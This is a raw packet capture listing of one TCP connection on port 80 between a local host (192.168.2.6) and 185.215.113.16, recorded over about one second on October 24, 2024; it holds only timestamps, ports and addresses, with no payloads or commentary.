Oct 24, 2024 18:09:08.869654894 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.869708061 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.869740963 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.869774103 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.869879007 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.869879961 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.869879961 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.869879961 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.869879961 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.869993925 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.870085001 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.870116949 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.870148897 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.870181084 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.870218992 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.870219946 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.870219946 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.870219946 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.870219946 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.870707035 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.870757103 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.870762110 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.870790005 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.870810032 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.870834112 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.964823008 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.964883089 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.965023041 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.965029955 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.988544941 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.988596916 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.988626957 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.988676071 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.988708973 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.988744020 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.988776922 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.988835096 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.988835096 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.988836050 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.988836050 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.988836050 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.988836050 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.988836050 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.989485979 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.989520073 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.989553928 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.989655018 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.989655018 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.989655018 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.989793062 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.989844084 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.989876032 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.989974976 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.989975929 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.989975929 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.990221977 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.990257978 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.990273952 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.990289927 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:08.990295887 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:08.990338087 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.098108053 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.098151922 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.098289967 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.098289967 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.109462976 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.109498024 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.109532118 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.109545946 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.109545946 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.109568119 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.109605074 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.109615088 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.109615088 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.109654903 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.109797955 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.109832048 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.109865904 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.109977961 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.109977961 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.109977961 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.110336065 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.110369921 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.110404015 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.110517025 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.110548973 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.110560894 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.110562086 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.110562086 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.110562086 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.110584974 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.110658884 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.110658884 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.229434967 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.229572058 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.229688883 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.229727030 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.229847908 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.229863882 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.229863882 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.229882956 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.229932070 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.229932070 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.229937077 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.229971886 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.229999065 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.230020046 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.230398893 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.230432034 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.230465889 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.230498075 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.230530977 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.230618000 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.230618000 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.230618954 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.230618954 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.230618954 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.231043100 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.231071949 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.231219053 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.231219053 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.231240988 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.231273890 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.231287956 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.231308937 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.231340885 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.231359005 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.231384039 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.231405020 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.346728086 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.346775055 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.346811056 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.346816063 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.346846104 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.346880913 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.346880913 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.346885920 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.346909046 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.346926928 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.346930027 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.346961021 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.346980095 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.346997023 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.347002983 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.347043991 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.347150087 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.347183943 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.347206116 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.347232103 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.347637892 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.347693920 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.347698927 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.347744942 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.347747087 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.347780943 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.347796917 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.347815990 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.347836971 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.347860098 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.392831087 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.392898083 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.393040895 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.466298103 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.466353893 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.466389894 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.466423035 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.466455936 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.466489077 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.466521978 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.466526031 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.466526985 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.466526985 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.466526985 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.466526985 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.466526985 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.466557026 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.466593981 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.466614962 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.466614962 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.466639042 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.466881037 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.466913939 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.466979980 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.467011929 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.467046022 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.467067957 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.467067957 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.467068911 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.467068911 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.467147112 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.467468977 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.467582941 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.467679977 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.467680931 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.512311935 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.512362957 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.512402058 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.512516975 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.586944103 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.587012053 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.587022066 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.587049007 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.587085009 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.587093115 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.587094069 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.587121010 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.587126017 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.587173939 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.587181091 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.587208986 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.587224960 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.587239981 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.587256908 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.587274075 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.587280989 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.587307930 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.587359905 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.587359905 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.587376118 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.587413073 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.587430000 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.587446928 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.587466955 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.587482929 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.587492943 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.587537050 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.588866949 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.588897943 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.588938951 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.588984966 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.631165028 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.631340027 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.631377935 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.631393909 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.631393909 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.631494045 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.672539949 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.672625065 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.672719955 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.672774076 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.704906940 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.704937935 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.704986095 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.705034018 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.705034971 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.705085039 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.705138922 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.705146074 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.705173016 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.705204010 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.705205917 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.705226898 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.705240965 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.705257893 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.705286026 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.705825090 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.705853939 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.706029892 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.706017971 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.706017971 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.706063032 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.706113100 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.706130981 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.706130981 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.706146002 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.706156015 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.706182003 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.706192970 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.706231117 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.706470013 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.706504107 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.706531048 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.706552029 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.706553936 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.706604004 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.751358986 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.751411915 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.751451015 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.751591921 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.791963100 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.792026043 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.792059898 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.792196989 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.792196989 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.792197943 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.824404955 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.824445963 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.824464083 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.824495077 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.824527979 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.824578047 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.824691057 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.824692011 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.825123072 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.825321913 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.825371027 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.825403929 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.825437069 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.825448036 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.825448036 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.825464964 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.825493097 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.825499058 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.825514078 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.825566053 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.825592995 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.825623989 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.825644970 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.825666904 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.825689077 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.825721025 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.825742006 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.825761080 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.870448112 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.870481014 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.870512009 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.870726109 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.911618948 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.911669016 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.911705971 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.911784887 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.911786079 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.911786079 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.944080114 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.944128036 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.944148064 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.944164991 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.944184065 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.944200039 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.944217920 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.944252014 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.944330931 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.944360018 CEST	80	49994	185.215.113.16	192.168.2.6
